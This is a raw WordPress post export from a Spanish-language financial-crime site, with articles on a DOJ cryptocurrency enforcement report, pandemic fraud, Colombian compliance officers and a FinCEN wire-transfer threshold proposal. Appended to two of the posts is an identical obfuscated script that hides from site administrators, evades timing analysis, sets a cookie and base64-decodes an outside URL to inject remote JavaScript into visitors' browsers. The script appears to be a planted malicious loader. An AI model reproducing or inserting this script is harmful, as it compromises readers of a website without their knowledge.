href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 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Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 